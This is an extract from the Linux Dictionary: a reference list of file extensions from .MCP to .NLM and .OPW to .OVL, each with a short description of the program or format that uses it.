<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MCP**
Printer driver (MathCad) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MCP**
Project file (Metrowerks CodeWarrior) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MCR**
Keyboard macro file (DataCad) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MCW**
Document (Microsoft Word for Macintosh) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MCW**
Text document (MacWrite II) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MD**
Compressed archive (MDCD) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MDA**
Add-in file (Microsoft Access) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MDA**
Workgroup (Microsoft Access version 2) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MDB**
Database (Microsoft Access) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MDE**
MDE file (Microsoft Access) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MDL**
Model (3D Design Plus) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MDL**
Model file (Quake) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MDL**
Model file element (Rational Rose) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MDL**

Linux Dictionary

- Music module (MOD) (Digital Trakker) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MDL**
Spreadsheet (CA-Compete!) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MDM**
Modem definition (Telix) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MDN**
Blank database template (Microsoft Access) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MDT**
Add-in file (Data) (Microsoft Access) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MDT**
Data table (Microsoft ILink incremental linker) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MDW**
Workgroup (Microsoft Access) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MDX**
Multiple index file (dBase IV) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MDZ**
Wizard template (Microsoft Access) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ME**
ASCII text document (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MEB**
Macro editor bottom overflow library (WordPerfect for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MED**
Macro editor delete save file (WordPerfect for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MED**
Music module (MOD) (OctaMed Music Editor) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MEM**
Macro editor macro (WordPerfect for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MEM**
Memory variable save file (Clipper) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MEM**
Memory variable save file (dBase IV) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MEM**
Memory variable save file (Microsoft FoxPro) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MEQ**

Linux Dictionary

- Macro editor print queue file (WordPerfect for Windows Library) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MER**
Format for interchanging spreadsheet/database data; recognized by Filemaker, Excel, and others From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MER**
Macro editor resident area (WordPerfect for Windows Library) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MES**
Macro editor workspace file (WordPerfect for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MES**
Message file (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MET**
Document file (OmniPage Pro) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MET**
Macro editor top overflow file (WordPerfect for Windows Library) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MET**
Presentation Manager metafile From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MEU**
Menu group (DOS Shell) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MEX**
Executable command (Matlab) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MEX**
Macro editor expound file (WordPerfect for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .mf**
Meta-Font font program source file. From Rute-Users-Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MF**
Metafont text file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MFG**
Manufacturing file (Pro/ENGINEER) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MGF**
A file in a Materials and Geometry Format From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MGF**
Font file (MicroGrafx) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MHT**
MHTML document (Microsoft) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MHTM**

Linux Dictionary

MHTML document (MIME) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MHTML

MHTML document (MIME) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MI

Data file (Cocreate ME10) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MI

Miscellaneous file (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MIC

Image Composer file (Microsoft) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MID

MIDI <http://WhatIs.techtarget.com/definition/0,,sid9_gci212572,00.html> music From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MIF

Interchange format (Adobe FramMaker) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MIFF

Machine Independent File (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MII

Datafile (MicroStat-II) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MIM

<http://searchWebServices.techtarget.com/sDefinition/0,,sid26_gci212575,00.html> A multipart file in the Multi-Purpose Internet Mail Extensions (MIME <http://searchWebServices.techtarget.com/sDefinition/0,,sid26_gci212576,00.html>) format; often created as the result of sending e-mail with attachments in AOL. The files in a multipart MIM file can be "opened" (unarchived and separated into individual files) using Winzip or a similar program. From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MIME

<http://searchWebServices.techtarget.com/sDefinition/0,,sid26_gci212576,00.html> From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MIX

Object file (Power C) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MIX

Package file (Command & Conquer) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MIX

Picture file (Microsoft PhotoDraw 2000) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MIX

Picture file (Microsoft Picture-It!) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MIX

Resource archive (Westwood Studios) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux Dictionary

.MJF

Audio file similar to MP3 (Mjuice) (Opens with WinAmp) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MK

Makefile (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MKE

Makefile (Microsoft Windows SDK) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MKI

Graphic Image (MagView 5.0) (Japanese) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MKS

Datafile (TACT) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.ML3

Project file (Milestones 3.x) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MLB

Macro library (Symphony) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MLI

A file in 3D Studio's Material-Library format From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MLID

Multiple link interface driver file (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MLM

Groupwise email file (Novell Groupwise) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MM

Text file (MultiMate Advantage II) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MMC

Catalog file (Microsoft Clip Gallery 5.x) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MME

<mim.htm> A multipart file in the Multi-Purpose Internet Mail Extensions (MIME <http://searchWebServices.techtarget.com/sDefinition/0,,sid26_gci212576,00.html>) format; often created as the result of sending e-mail with attachments in AOL. The files in a multipart MME file can be "opened" (unarchived and separated into individual files) using Winzip or a similar program. From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MMF

Mail file (Microsoft) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MMF

Mail message file (Microsoft Mail) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MMF

Meal Master Format, a recipe cataloging format From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux Dictionary

.MMG

Beyond 20/20 table or aggregate data file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MML

Bulk mail file (Created by MyMailList) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MMM

Multimedia movie (MacroMind Director 3.x) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MMM

Multimedia movie (Microsoft) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MMO

Memo Writer file (RapidFile) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MMP

MindManager file (MindMapor) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MMP

Output video (Bravado) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MN2

Mission file (Descent2) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MN3

Mission file (Descent3) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MND

Menu source (AutoCAD Menu Compiler) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MND,

MNI Mandelbrot for Windows From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MNG

Map (DeLorme Map'n'Go) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MNG

Multi-image Network Graphics From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MNT

Menu file (Microsoft FoxPro) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MNU

Advanced macro (HP NewWave) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MNU

Interact menu (Intertal Systems) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MNU

Menu (AutoCAD Menu Compiler) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux Dictionary

- .MNU**
Menu (Norton Commander) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MNU**
Menu file (Visual dBase) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MNX**
Compiled menu (AutoCAD) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MNX**
Menu (Microsoft FoxPro) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MNY**
Account book (Microsoft Money) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MOB**
Device definition (PEN for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MOD**
Amiga/PC tracker module From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MOD**
FastTracker, StarTrekker, Noise Tracker (etc.) music module file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MOD**
Kernel module (Microsoft Windows 9.x) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MOD**
Modula-2 source code file (Clarion Modula-2) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MOD**
Spreadsheet (Microsoft Multiplan) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MON**
Monitor description (ReadMail) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MOV**
Movie (AutoCAD/AutoFlix) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MOV**
Movie (QuickTime for Microsoft Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MOZ**
Zipped (Compressed) mod file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MP2**
MPEG Audio Layer 2 file (MIME video file) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MP2**
MPEG Audio Layer 2 From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux Dictionary

.MP3

MPEG Audio Layer 3 (AC3) file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MP3

MPEG Audio Layer 3 (AC3) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MPA

MPEG-related file (MIME type 'mpeg') From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MPC

Calendar file (Microsoft Project) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MPD

Database file (Microsoft Project) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MPE

MPEG animation From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MPEG

<http://WhatIs.techtarget.com/definition/0,,sid9_gci212601,00.html> From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MPEG

animation From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MPG

MPEG animation From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MPM

Mathplan Macro library (WordPerfect for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MPP

Drawing file (CAD) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MPP

Project file (Microsoft Project) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MPR

Menus (compiled) (Microsoft FoxPro) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MPT

Bitmap graphics (Multipage TIFF) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MPV

View file (Microsoft Project) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MPX

Compiled menu program (Microsoft FoxPro) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MPX

Exchange file (Microsoft Project) used for exporting data From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MRB

Linux Dictionary

Multiple resolution bitmap graphics (Microsoft C/C++) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MRI

MRI Scan From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MRS

Macro resource file (WordPerfect for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MSA

Archive (Magic Shadow) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MSC

Common console document (Microsoft Windows 2000) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MSC

Makefile (Microsoft C) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MSD

Diagnostics report file (Microsoft MSD) (Diagnostics) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MSDL

Scene Description Language (Manchester) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MSG

Mail message (Microsoft) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MSI

Installer package (Microsoft Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MSN

Mission File (Descent) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MSN

Network document (Microsoft) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MSP

Paint bitmap (Microsoft) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MSP

Windows Installer patch file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MSS

Manuscript text file (Jove) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MSS

Manuscript text file (MINCE) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MSS

Manuscript text file (Perfect Writer) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MSS

Linux Dictionary

- Manuscript text file (Scribble) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MST**
Minispecification file (Prosa) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MST**
Setup script (Microsoft SDK) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MST**
Windows Installer transform From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MSW**
Text file (Microsoft Word) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MSX**
Compressed CP/M archive (MSX) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MTH**
Math file (Derive) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MTM**
Music module (MOD) (Multitracker) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MTW**
Datafile (Minitab) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MTX**
Twain device driver (32 bit)(UMax) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MU**
Menu (Quattro Pro) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MUL**
Online game called Ultima online From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MUS**
Interactive music audio data file (Electronic Arts) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MUS**
Music (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MUS**
Music (MusicTime) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MUS10**
Audio (Mus10) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MV**
Server-side script file (Miva) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MVA**

Linux Dictionary

- Video accelerator file (Matrox) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MVB**
Multimedia Viewer file (Microsoft) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MVC**
Image file (Sony Digital Mavica) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MVE**
Interplay video file (Descent2, Fallout2) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MVF**
Stop frame file (AutoCAD-AutoFlix) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MVI**
Movie command file (AutoCAD-AutoFlix) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MVW**
Log file (Saber LAN) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MWF**
Animation (ProMotion) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MWP**
Smartmaster file (Lotus WordPro 97) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MXD**
Map file (ArcInfo) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MXT**
Datafile (Microsoft C) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MYP**
Presentation file (Make Your Point) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .M_U**
Hard Drive Boot sector backup (MazeGold) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .NAN**
Nanoscope files (Raw Grayscale) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .NAP**
Metafile (NAP) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .NAP**
Video file (EnerGraphics) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .NB**
Text file (Nota Bene) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .NC**

Linux Dictionary

- Instructions for numerical control machine (CAMS) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .NCB**
Developer Studio file (Microsoft) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .NCC**
CNC (Computer Numeric Control) file (CamView 3D) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .NCD**
Change directory (Norton) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .NCF**
Command File (Netware) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .NCF**
Internal clipboard (Lotus Notes) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .NDB**
Network database (Intellicom) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .NDO**
3D low-polygon modeler (Nendo) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .NDX**
Database file (1ACT! for Microsoft Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .NDX**
Index file (Cindex) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .NDX**
Index file (dBase II-III-IV) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .NEO**
Raster graphics (Atari Neochrome) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .NES**
Emulator ROMS for game console (Nintendo) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .NET**
Netlist output file (Orcad Schematic Capture) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .NET**
Network configuration file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .netCDF**
Network Common Data Form From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .NEW**
New info From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .NEZ**

Linux Dictionary

- Emulator file used for game consoles (NES) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .NFF**
Neutral File Format From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .NFO**
Info file database text From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .NFO**
Infobase file (Folio) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .NFT**
Template file (Netobject Fusion) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .NG**
Online documentation database (Norton Guide) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .NIL**
Icon Library file (EasyIcons-compatible) (Norton) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .NIST**
Audio (NIST Sphere) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .NLB**
Data (Oracle 7) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .NLM**
Loadable Module (Netware) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Optimize support file (QEMM) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.OPW

Organization chart (Org Plus for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.OPX

Extension DLL (OPL) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.OPX

Inactive options (Exact) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.OR2

Calendar file (Lotus Organizer 2) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.OR3

Lotus Organizer 97 file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.ORA

Configuration file (Oracle 7) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.ORA

Parameter file (Oracle) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.ORC

Script (Oracle 7) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.ORG

Calendar file (Lotus Organizer) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.OSS

Search file (Microsoft Office) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux Dictionary

- .OST**
Offline file (Microsoft Exchange/Outlook) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .OTL**
Outline font description (Z-Soft Type Foundry) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .OTL**
Template file (PrintMaster Gold) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .OTL**
Template file (Super NoteTab) (Fookes) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .OTX**
Text file (Olivetti Olitext Plus) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .OUT**
Output file (Microsoft C) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .OV**
Database file (Revelation-DOS) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .OV1**
Overlay file From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .OV2**
Overlay file From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .OVD**
Datafile (ObjectVision) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .OVL**
